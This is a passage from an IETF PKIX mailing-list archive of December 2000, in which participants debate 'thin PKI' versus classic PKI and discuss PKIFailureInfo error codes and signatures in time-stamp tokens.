extinguishers. From owner-ietf-pkix@imc.org Fri Dec 15 10:14:32 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA21335 for ; Fri, 15 Dec 2000 10:14:32 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA19185; Fri, 15 Dec 2000 07:10:56 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 07:10:51 -0800 Received: from mail01-ewr.pilot.net (mail-ewr-1.pilot.net [206.98.230.18]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA19155 for ; Fri, 15 Dec 2000 07:10:50 -0800 (PST) From: Lynn.Wheeler@firstdata.com Received: from mailgw.firstdata.com ([204.48.27.156]) by mail01-ewr.pilot.net with ESMTP id KAA24737; Fri, 15 Dec 2000 10:13:41 -0500 (EST) Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id KAA11700; Fri, 15 Dec 2000 10:13:40 -0500 (EST) Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id 852569B6.00539018 ; Fri, 15 Dec 2000 10:12:43 -0500 X-Lotus-FromDomain: FDC To: Camillo S=?iso-8859-1?Q?=E4rs?= cc: Anders Rundgren , PKIX-List Message-ID: <852569B6.00538CCB.00@lnsunr02.fl.firstdata.com> Date: Fri, 15 Dec 2000 07:52:23 -0800 Subject: Re: Thin PKI won - You lost Mime-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz" Content-Disposition: inline Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe --0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz Content-type: text/plain; charset=us-ascii Content-Disposition: inline in retail electronic transactions ... not only is "identity" fairly irrelevent ... it represents privacy compromise that is one reason that some of the european parties a couple years ago went to "relying-party-only" certificates ... we've been able to show for 3-4 years that using certificate compression techniques that such certificates can be highly compressed to zero bytes (superfulous and redundant to repeatedly resend copies of information to the relying party that has the original copy of the information). the real issue is does any of the transactions have to be offline. the analogy is the business paper checks of the '60s that had signing limits ... until they found that people were signing 200 individual checks to achieve their results. certificates (of whatever kind) represent offline trust propogation between entities with no prior business relationship. as online becomes more & more prevalent and online costs drop, the threshold justifying not doing things online is dropping. the typical current day replacement for the '60s signing limit paper checks is a corporate purchase card, akin to a form of (online, electronic) credit card, that in addition to the familiar credit limit (i.e. real time aggregated balance), also can have business rules about things like merchant type, specific merchant, merchant location, and SKU (product) codes. x9.59 (financial industry standard for all electronic account-based retail transactions) addresses all of this. the response (to the merchant) doesn't currently have to be signed for authentication purposes because it comes in via a trusted network. One could imagine migration to a non-trusted network implementation for the response ... reguiring signed authentication. However, because of the required prior business relationships there isn't a requirement for offline trust propogation, the public key of the responding merchant financial entity is simply installed at the merchant (possibly in a manner similar to the way that root public keys are delivered in browsers, but under somewhat more strict business controls). one way of characterising a much thiner form of PKI uses highly optimized compression techniques for redundant and superfulous information transmission reducing certificate size to zero bytes in cases of online transaction between entities with prior business relationship (i.e. in the retail transaction scenerio, there is a consumer instruction to the consumer's financial institution, and the response is an instruction from the merchant's financial institution to the merchant). the transaction value threshold for offline trust propogation involving certificates that haven't been compressed to zero bytes is dropping as online becomes more & more ubiquitous and the corresponding cost of online drops. Camillo S --0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz Content-type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable =E4rs on 12/15/2000 04:46:17 AM I tend to agree with you. For most on-line transactions, the concept o= f "identity" is fairly irrelevant - the real issue for the relying party = is the authorization to perform an action. Once the high-level legal trus= t relationships exist [Read: "If you cheat, we will sue you out of business."], the remaining issues are mostly about transferring authorization - delegation - and avoiding fraud by the users. = --0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz-- From owner-ietf-pkix@imc.org Fri Dec 15 10:28:20 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA25600 for ; Fri, 15 Dec 2000 10:28:20 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA21716; Fri, 15 Dec 2000 07:24:35 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 07:24:33 -0800 Received: from mail01-ewr.pilot.net (mail-ewr-1.pilot.net [206.98.230.18]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA21678 for ; Fri, 15 Dec 2000 07:24:32 -0800 (PST) From: Lynn.Wheeler@firstdata.com Received: from mailgw.firstdata.com ([204.48.27.156]) by mail01-ewr.pilot.net with ESMTP id KAA00326; Fri, 15 Dec 2000 10:27:23 -0500 (EST) Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id KAA13512; Fri, 15 Dec 2000 10:27:21 -0500 (EST) Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id 852569B6.0054CF1F ; Fri, 15 Dec 2000 10:26:20 -0500 X-Lotus-FromDomain: FDC To: Camillo S=?iso-8859-1?Q?=E4rs?= cc: Anders Rundgren , PKIX-List Message-ID: <852569B6.0054CC75.00@lnsunr02.fl.firstdata.com> Date: Fri, 15 Dec 2000 08:24:19 -0800 Subject: Re: Thin PKI won - You lost Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe >the response (to the merchant) doesn't currently have to be signed >for authentication purposes because it comes in via a trusted network. >One could imagine migration to a non-trusted network implementation >for the response ... reguiring signed authentication. However, because >of the required prior business relationships there isn't a requirement for >offline trust propogation, the public key of the responding merchant >financial entity is simply installed at the merchant (possibly in a manner >similar to the way that root public keys are delivered in browsers, >but under somewhat more strict business controls). of course one could quibble whether the above referenced signed response is a thin certificate or not. it could look & taste like a thin certificate ... the primary business difference between a thin certificate and a signed transactions ... is one (the certificate) is signed before the transaction (and might possibly be used for multiple transactions) and the other (signed transaction) is specific to the current transactions. In effect, the thin certificate has the liable party signing something for offline trust propogation that they might not have exact knowledge of before hand. As a thin PKI makes more & more of the transition to online ... it eventually crosses the business line from doing pre-authorized signatures to signing the actual transactions. From owner-ietf-pkix@imc.org Fri Dec 15 10:58:56 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04301 for ; Fri, 15 Dec 2000 10:58:55 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA25720; Fri, 15 Dec 2000 07:54:04 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 07:53:56 -0800 Received: from certplus.com ([195.101.88.81]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA25690 for ; Fri, 15 Dec 2000 07:53:55 -0800 (PST) Received: from certplus.com ([192.168.212.178]) by certplus.com (8.8.7/8.8.7) with ESMTP id RAA09463 for ; Fri, 15 Dec 2000 17:00:03 +0100 Message-ID: <3A3A3F27.CEC2020D@certplus.com> Date: Fri, 15 Dec 2000 16:56:23 +0100 From: Jean-Marc Desperrier Organization: Certplus X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-pkix Subject: PKIFailureInfo : Internal Error Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Hi, The PKIFailureInfo that is present is several pkix standards, rfc2510, time-stamp, etc ... does not provide a way for the entity that sends the response to signal that it has encountered an internal error that prevents its from being able to answer succesfully to the request, despite the fact there is nothing invalid in the request. In case none of the suggested errors applies, there's no generic error to send back. If you are wondering, I was looking for the adequate error code that should be returned if the entity detects a failure of the hardware token it uses to sign data, but many other internal errors can be encountered ... From owner-ietf-pkix@imc.org Fri Dec 15 12:29:15 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04687 for ; Fri, 15 Dec 2000 12:29:14 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA01297; Fri, 15 Dec 2000 09:24:33 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 09:24:05 -0800 Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA01251 for ; Fri, 15 Dec 2000 09:24:04 -0800 (PST) Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id KAA26401; Fri, 15 Dec 2000 10:10:11 -0500 (EST) Mime-Version: 1.0 X-Sender: kent@po1.bbn.com Message-Id: In-Reply-To: <009601c06682$4bafd4d0$0201a8c0@vincent.se> References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> Date: Fri, 15 Dec 2000 10:02:22 -0500 To: "Anders Rundgren" From: Stephen Kent Subject: Re: Thin PKI won - You lost Cc: "PKIX-List" Content-Type: text/plain; charset="us-ascii" ; format="flowed" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe At 11:31 AM +0100 12/15/00, Anders Rundgren wrote: >Hi Steve, >Do you remember the debate I started some 18 months ago when I launched the >"Thin PKI"/CyberPhone concept in this list? > > http://www.mobilephones-tng.com/v100/dynamiccerts.html > >The concept in a nutshell: When you engage in inter-organizational >activities you let an >"organization server" vouch for its employees (clients) by signing >(AC-like) credentials on the fly for >authentication, and signing outgoing transactions on the clients >request. All this without using >any direct PKI-based "connection" between the client and the RP. >BTW, the client does >not even have to use PKI! > >You claimed that this was a bad idea, while I claimed that this is >"the future for PKI". > >After reading the S2ML-draft 0.7a I can inform you that this >specification, which is supported by >VeriSign, RSA etc. use exactly this scheme for authentications and >authorizations. And so does >BTW VISA's coming 3D-SSL payment solution as well. > > Any comments? :-) :-) Bad ideas are patentable, marketable, and may even be successful. What's your point? > >My guess is that this will in a couple of years, smash quite a few >PKI-projects into pieces! > >For those who are engaged in federal or national PKIs, and Bridge-CAs etc.: > > === You are very likely to be on the wrong track! === > >We need thin "interoperable domains" (VISA's term) between >organizations, not giant PKIs where >"everybody is talking to everybody" (certificate-wise). The banks >use the former model, and although >banks cannot be accused for being hi-tech, they have anyway >succeeded in doing advanced O2O/B2B-things >(even globally), supporting millions of ordinary users on the >Internet, which none of the many >government-sponsored PKI-programs have achieved, or will ever >achieve using current PKI-models. > >Signature archival is a built-in feature using Thin PKI, instead of >something that >you with great pains "glue" to a basically broken system. > >The term "Thin PKI" was coined by me to denote the fact that you >with a single cert+key could >"do anything" you'll ever need. It could actually be extended to >organizations as well. > >That interoperability becomes a no-issue (at least compared to the >"classical" PKI approach), is >the fact that a single commercial TTP can w.o. problems certify >millions of organizations. >I.e. much of this CA policy-stuff that some organizations are >working with is in vain as most >organizations will buy pre-packaged products. "Trust" is actually >something that has to be created within >organizations and that is (except for a few die-hard PKIers), >virtually independent on CA policies. > >Anders Rundgren >co-founder >X-OBI >+46 70 - 627 74 37 This sort of marketing rhetoric has no place on an IETF mailing list, including this one. If you can't restrict your contributions to technical discussions, we'll have to ask you to not pot to this list. Steve From owner-ietf-pkix@imc.org Fri Dec 15 12:54:56 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA12866 for ; Fri, 15 Dec 2000 12:54:55 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA01982; Fri, 15 Dec 2000 09:51:14 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 09:51:12 -0800 Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA01948 for ; Fri, 15 Dec 2000 09:51:11 -0800 (PST) Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id QAA83909; Fri, 15 Dec 2000 16:44:46 -0500 (EST) (envelope-from arik@phaos.com) Message-Id: <4.2.0.58.20001215125527.00c26360@mail.phaos.com> X-Sender: arik@mail.phaos.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 15 Dec 2000 12:57:34 -0500 To: Jean-Marc Desperrier , ietf-pkix From: Ari Kermaier Subject: Re: PKIFailureInfo : Internal Error In-Reply-To: <3A3A3F27.CEC2020D@certplus.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe The PKIFailureInfo structure described in draft-ietf-pkix-rfc2510bis-02 includes systemFailure(25) which, while not very descriptive, might fit the bill for hardware failure. ::Ari >Hi, > >The PKIFailureInfo that is present is several pkix standards, rfc2510, >time-stamp, etc ... does not provide a way for the entity that sends the >response to signal that it has encountered an internal error that >prevents its from being able to answer succesfully to the request, >despite the fact there is nothing invalid in the request. > >In case none of the suggested errors applies, there's no generic error >to send back. > >If you are wondering, I was looking for the adequate error code that >should be returned if the entity detects a failure of the hardware token >it uses to sign data, but many other internal errors can be encountered >... From owner-ietf-pkix@imc.org Fri Dec 15 13:26:28 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA23232 for ; Fri, 15 Dec 2000 13:26:27 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA05155; Fri, 15 Dec 2000 10:20:54 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 10:20:07 -0800 Received: from maila.telia.com (maila.telia.com [194.22.194.231]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA05102 for ; Fri, 15 Dec 2000 10:20:06 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by maila.telia.com (8.9.3/8.9.3) with ESMTP id TAA02422; Fri, 15 Dec 2000 19:22:57 +0100 (CET) Received: from mega (t7o69p177.telia.com [213.65.46.177]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBFIMto09165; Fri, 15 Dec 2000 19:22:56 +0100 (CET) Message-ID: <013101c066c3$d63b4bc0$0201a8c0@vincent.se> From: "Anders Rundgren" To: "Stephen Kent" Cc: "PKIX-List" References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> Subject: Classic PKI vs Thin PKI/S2ML Date: Fri, 15 Dec 2000 19:21:23 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id KAA05103 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit Steve, > This sort of marketing rhetoric has no place on an IETF mailing list, > including this one. If you can't restrict your contributions to > technical discussions, we'll have to ask you to not pot to this list. Pardon me, I got a little bit carried away. But, are you *really* prepared to openly discuss the problems with classical PKI versus Thin PKI, S2ML, OBI and 3D-SSL? If so, please comment the section of my posting mentioning banks, as this is something practically all in this list have some knowledge with. As this is a very complex subject (my usual Thin PKI seminar is 2-3 hours!), it is though very important to stay exactly on the track, otherwise the discussion will deteriorate in no time at all. Unfortunately I don't think that any of the main forces behind S2ML, OBI or 3D-SSL are interested in "The war of the PKIs", but we'll see. And in the same way as with PKIXML, I care more about "marketability" and "deploymentability" than if something is the "most secure solution in the world". Sweden actually had the most secure solution in the world: The SEIS electronic ID-card. Unfortunately it is fairly useless and expensive, and therefore very few have it. Regards Anders Rundgren co-founder X-OBI From owner-ietf-pkix@imc.org Fri Dec 15 14:31:14 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA16326 for ; Fri, 15 Dec 2000 14:31:13 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA09584; Fri, 15 Dec 2000 11:27:34 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 11:27:24 -0800 Received: from certplus.com ([195.101.88.81]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA09542 for ; Fri, 15 Dec 2000 11:27:23 -0800 (PST) Received: from certplus.com ([192.168.212.178]) by certplus.com (8.8.7/8.8.7) with ESMTP id UAA11440 for ; Fri, 15 Dec 2000 20:33:15 +0100 Message-ID: <3A3A7120.D0CFDF0B@certplus.com> Date: Fri, 15 Dec 2000 20:29:36 +0100 From: Jean-Marc Desperrier Organization: Certplus X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 CC: ietf-pkix Subject: Re: PKIFailureInfo : Internal Error References: <4.2.0.58.20001215125527.00c26360@mail.phaos.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Ari Kermaier wrote: > The PKIFailureInfo structure described in draft-ietf-pkix-rfc2510bis-02 > includes systemFailure(25) which, while not very descriptive, might fit the > bill for hardware failure. It didn't read that draft before posting. It should be considered, whenever possible, to include this value into the list of acceptables values for the other drafts that use a PKIFailureInfo. From owner-ietf-pkix@imc.org Fri Dec 15 15:42:43 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA07634 for ; Fri, 15 Dec 2000 15:42:43 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA13575; Fri, 15 Dec 2000 12:37:54 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 12:37:41 -0800 Received: from emerald.lightlink.com (emerald.lightlink.com [205.232.34.14]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA13507 for ; Fri, 15 Dec 2000 12:37:40 -0800 (PST) Received: from chrisf (perm70-18.ij.net [209.216.70.18] (may be forged)) by emerald.lightlink.com (8.8.8/8.8.8) with SMTP id PAA21632; Fri, 15 Dec 2000 15:40:31 -0500 From: "Christopher S. Francis" To: "Ietf-Pkix" Cc: "Mike Duren" Subject: Need clarification on rules for signatures in Time Stamp Tokens Date: Fri, 15 Dec 2000 15:53:22 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0000_01C066AF.26C63DD0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C066AF.26C63DD0 Content-Type: text/plain; charset="iso-8859-1" X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id MAA13575 Content-Transfer-Encoding: quoted-printable I=92m hoping to get a little clarification here. Page 6 of the TSP docum= ent says =93The time stamp token MUST NOT contain any signatures other than t= he signature of the TSA=94. Does this apply to signed data objects that app= ear in the extensions list? The extensions are obviously part of the token, = but it seems rather restrictive to mandate that if some type of signed extens= ion is used, it MUST be signed by the TSA. Chris Francis WetStone Technologies, Inc. ------=_NextPart_000_0000_01C066AF.26C63DD0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

I’m hoping to get a little clarification here.  Page 6 of the TSP document says “The time stamp = token MUST NOT contain any signatures other than the signature of the = TSA”.  Does this apply to signed data = objects that appear in the extensions list?  The extensions are obviously part of the token, but it seems = rather restrictive to mandate that if some type of signed extension is used, it = MUST be signed by the TSA.

 

Chris Francis<= /p>

WetStone Technologies, = Inc.<= /p>

------=_NextPart_000_0000_01C066AF.26C63DD0-- From owner-ietf-pkix@imc.org Fri Dec 15 16:00:51 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA13168 for ; Fri, 15 Dec 2000 16:00:50 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA14615; Fri, 15 Dec 2000 12:57:11 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 12:57:08 -0800 Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA14585 for ; Fri, 15 Dec 2000 12:57:07 -0800 (PST) Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id PAA17008; Fri, 15 Dec 2000 15:59:57 -0500 (EST) Mime-Version: 1.0 X-Sender: kent@po1.bbn.com Message-Id: In-Reply-To: <013101c066c3$d63b4bc0$0201a8c0@vincent.se> References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <013101c066c3$d63b4bc0$0201a8c0@vincent.se> Date: Fri, 15 Dec 2000 15:55:18 -0500 To: "Anders Rundgren" From: Stephen Kent Subject: Re: Classic PKI vs Thin PKI/S2ML Cc: "PKIX-List" Content-Type: text/plain; charset="us-ascii" ; format="flowed" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe At 7:21 PM +0100 12/15/00, Anders Rundgren wrote: >Steve, > > > This sort of marketing rhetoric has no place on an IETF mailing list, > > including this one. If you can't restrict your contributions to > > technical discussions, we'll have to ask you to not pot to this list. > >Pardon me, I got a little bit carried away. > >But, are you *really* prepared to openly discuss the problems with >classical PKI >versus Thin PKI, S2ML, OBI and 3D-SSL? >If so, please comment the section of my posting mentioning banks, as >this is something practically >all in this list have some knowledge with. As this is a very >complex subject (my usual >Thin PKI seminar is 2-3 hours!), it is though very important to stay >exactly on the track, >otherwise the discussion will deteriorate in no time at all. >Unfortunately I don't think >that any of the main forces behind S2ML, OBI or 3D-SSL are interested in >"The war of the PKIs", but we'll see. And in the same way as with PKIXML, I >care more about "marketability" and "deploymentability" than if >something is the >"most secure solution in the world". Sweden actually had the most >secure solution in >the world: The SEIS electronic ID-card. Unfortunately it is fairly >useless and expensive, >and therefore very few have it. The financial community has a set of concerns that are entirely valid, and are NOT the whole of PKI. Lynn Wheeler, who just contributed to this discussion, pursues PKI issues in ANSI F9, a standards committee devoted to that application area. PKIX addresses a broader set of PKI users and does not tailor standards to meet requirements of a given application arena, even if it is a very, very big arena. This, for example, we will not address PKI problems that are cast narrowly as financial transactions or cell phone problems, etc. The delegated path validation/discovery work that we are now doing is not narrowly cast, even though it may be very applicable to wireless users, etc. This desire to not be driven by specific application domains is NOT a PKIX-uniqye. For example, TCP/IP could be reworked from the ground up to better accommodate wireless users, but that's not likely to happen. The IPsec WG rejected the notion of changing ESP to better accommodate satellite and low speed wireless users. The minutes of the WG meeting, plus Phil's slides, should indicate that there was no enthusiasm expressed there for mere syntactic transliteration of ASN.1 to XML. Phil observed that the XKMS initiative that he described is likely to be pursued in another forum, e.g., the W3C, based on feedback from the security ADs. Steve From owner-ietf-pkix@imc.org Fri Dec 15 16:12:33 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA17323 for ; Fri, 15 Dec 2000 16:12:33 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA15070; Fri, 15 Dec 2000 13:08:55 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 13:08:52 -0800 Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA15039 for ; Fri, 15 Dec 2000 13:08:51 -0800 (PST) Received: from asn-1.com (user-2ivf7mh.dialup.mindspring.com [165.247.158.209]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id QAA28528 for ; Fri, 15 Dec 2000 16:11:42 -0500 (EST) Message-ID: <3A3A89CA.F7EB23F1@asn-1.com> Date: Fri, 15 Dec 2000 16:14:50 -0500 From: "Phillip H. Griffin" Reply-To: phil.griffin@asn-1.com Organization: Griffin Consulting X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: pkix list Subject: Re: Classic PKI vs Thin PKI/S2ML References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <013101c066c3$d63b4bc0$0201a8c0@vincent.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Stephen Kent wrote (in part): > snip > > The financial community has a set of concerns that are entirely > valid, and are NOT the whole of PKI. Lynn Wheeler, who just > contributed to this discussion, pursues PKI issues in ANSI F9, a > standards committee devoted to that application area. Wait a minute. As far as I know, Mr. Wheeler is not involved in any of the security area standards being developed in X9F, but participates frequently in X9A. Not the same working groups. Phil ---- Phillip H. Griffin Griffin Consulting http://asn-1.com Secure ASN.1 Design & Implementation +1-919-832-7008 1625 Glenwood Avenue, Five Points +1-919-832-7390 [fax] Raleigh, North Carolina 27608 USA ------------------------------------------------------------ From owner-ietf-pkix@imc.org Fri Dec 15 16:41:36 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA26465 for ; Fri, 15 Dec 2000 16:41:36 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA15763; Fri, 15 Dec 2000 13:37:08 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 13:37:06 -0800 Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA15733 for ; Fri, 15 Dec 2000 13:37:05 -0800 (PST) Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id QAA21712; Fri, 15 Dec 2000 16:39:51 -0500 (EST) Mime-Version: 1.0 X-Sender: kent@po1.bbn.com Message-Id: In-Reply-To: <3A3A89CA.F7EB23F1@asn-1.com> References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <013101c066c3$d63b4bc0$0201a8c0@vincent.se> <3A3A89CA.F7EB23F1@asn-1.com> Date: Fri, 15 Dec 2000 16:33:49 -0500 To: phil.griffin@asn-1.com From: Stephen Kent Subject: Re: Classic PKI vs Thin PKI/S2ML Cc: pkix list Content-Type: text/plain; charset="us-ascii" ; format="flowed" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Phil, Thanks for the correction. Steve From owner-ietf-pkix@imc.org Fri Dec 15 17:27:28 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA11138 for ; Fri, 15 Dec 2000 17:27:28 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA18240; Fri, 15 Dec 2000 14:23:53 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 14:23:44 -0800 Received: from mail01-ewr.pilot.net (mail-ewr-1.pilot.net [206.98.230.18]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA18208 for ; Fri, 15 Dec 2000 14:23:42 -0800 (PST) From: Lynn.Wheeler@firstdata.com Received: from mailgw.firstdata.com ([204.48.27.156]) by mail01-ewr.pilot.net with ESMTP id RAA16399; Fri, 15 Dec 2000 17:26:35 -0500 (EST) Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id RAA00314; Fri, 15 Dec 2000 17:26:34 -0500 (EST) Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id 852569B6.007B3136 ; Fri, 15 Dec 2000 17:25:35 -0500 X-Lotus-FromDomain: FDC To: phil.griffin@asn-1.com cc: pkix list Message-ID: 